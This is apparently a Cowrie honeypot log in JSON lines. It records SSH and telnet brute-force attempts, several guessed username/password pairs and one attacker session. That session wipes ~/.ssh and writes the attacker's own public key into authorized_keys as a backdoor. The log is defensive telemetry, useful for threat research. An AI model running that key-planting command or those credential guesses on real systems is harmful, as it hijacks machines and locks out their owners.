{"eventid":"cowrie.login.success","username":"root","password":"Zxcvb123456","message":"login attempt [root/Zxcvb123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:46.022896Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:46.474272Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:46.476504Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:46.479468Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:46.693017Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:47.194785Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:47.197954Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:47.413377Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:47.416766Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.107.139.205","src_port":59620,"dst_ip":"10.17.0.5","dst_port":22,"session":"903dd40ee0e7","protocol":"ssh","message":"New connection: 118.107.139.205:59620 (10.17.0.5:22) [session: 903dd40ee0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:47.607088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:47.611336Z","src_ip":"118.107.139.205","session":"903dd40ee0e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:47.814869Z","src_ip":"118.107.139.205","session":"903dd40ee0e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:48.662408Z","src_ip":"118.107.139.205","session":"903dd40ee0e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:49.869699Z","src_ip":"118.107.139.205","session":"903dd40ee0e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.107.139.205","src_port":59634,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3e3038f79bc","protocol":"ssh","message":"New connection: 118.107.139.205:59634 (10.17.0.5:22) [session: d3e3038f79bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:50.075563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:50.082155Z","src_ip":"118.107.139.205","session":"d3e3038f79bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:50.292458Z","src_ip":"118.107.139.205","session":"d3e3038f79bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:51.160460Z","src_ip":"118.107.139.205","session":"d3e3038f79bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:51.372420Z","src_ip":"118.107.139.205","session":"d3e3038f79bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:43:51.380343Z","src_ip":"118.107.139.205","session":"f4416deb6a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54336,"dst_ip":"10.17.0.5","dst_port":22,"session":"233848fd4751","protocol":"ssh","message":"New connection: 2.57.122.208:54336 (10.17.0.5:22) [session: 233848fd4751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:45:25.674945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:45:25.910807Z","src_ip":"2.57.122.208","session":"233848fd4751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:45:25.914261Z","src_ip":"2.57.122.208","session":"233848fd4751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:45:27.011350Z","src_ip":"2.57.122.208","session":"233848fd4751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:45:28.120893Z","src_ip":"2.57.122.208","session":"233848fd4751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.47.82.173","src_port":3134,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a91c47fc414","protocol":"telnet","message":"New connection: 211.47.82.173:3134 (159.203.135.109:23) [session: 2a91c47fc414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:46:02.330996Z"}
{"eventid":"cowrie.session.closed","duration":13.52819299697876,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:46:15.859607Z","src_ip":"211.47.82.173","session":"2a91c47fc414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34450,"dst_ip":"10.17.0.5","dst_port":22,"session":"57e6b61cfa8c","protocol":"ssh","message":"New connection: 2.57.122.208:34450 (10.17.0.5:22) [session: 57e6b61cfa8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:47:43.587337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:47:43.785509Z","src_ip":"2.57.122.208","session":"57e6b61cfa8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:47:43.789228Z","src_ip":"2.57.122.208","session":"57e6b61cfa8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:47:44.818145Z","src_ip":"2.57.122.208","session":"57e6b61cfa8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:47:45.963808Z","src_ip":"2.57.122.208","session":"57e6b61cfa8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53878,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7dc2a687bdb","protocol":"ssh","message":"New connection: 2.57.122.208:53878 (10.17.0.5:22) [session: b7dc2a687bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:49:56.613609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:49:56.638606Z","src_ip":"2.57.122.208","session":"b7dc2a687bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:49:56.747762Z","src_ip":"2.57.122.208","session":"b7dc2a687bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:49:57.314503Z","src_ip":"2.57.122.208","session":"b7dc2a687bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:49:58.440851Z","src_ip":"2.57.122.208","session":"b7dc2a687bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.116.0","src_port":40578,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f4d76f62e92","protocol":"ssh","message":"New connection: 14.103.116.0:40578 (10.17.0.5:22) [session: 4f4d76f62e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:51:52.368787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:51:52.373423Z","src_ip":"14.103.116.0","session":"4f4d76f62e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:51:52.624819Z","src_ip":"14.103.116.0","session":"4f4d76f62e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42292,"dst_ip":"10.17.0.5","dst_port":22,"session":"b64cd866d460","protocol":"ssh","message":"New connection: 2.57.122.208:42292 (10.17.0.5:22) [session: b64cd866d460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:52:05.175619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:52:05.222763Z","src_ip":"2.57.122.208","session":"b64cd866d460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:52:05.335950Z","src_ip":"2.57.122.208","session":"b64cd866d460","protocol":"ssh"}
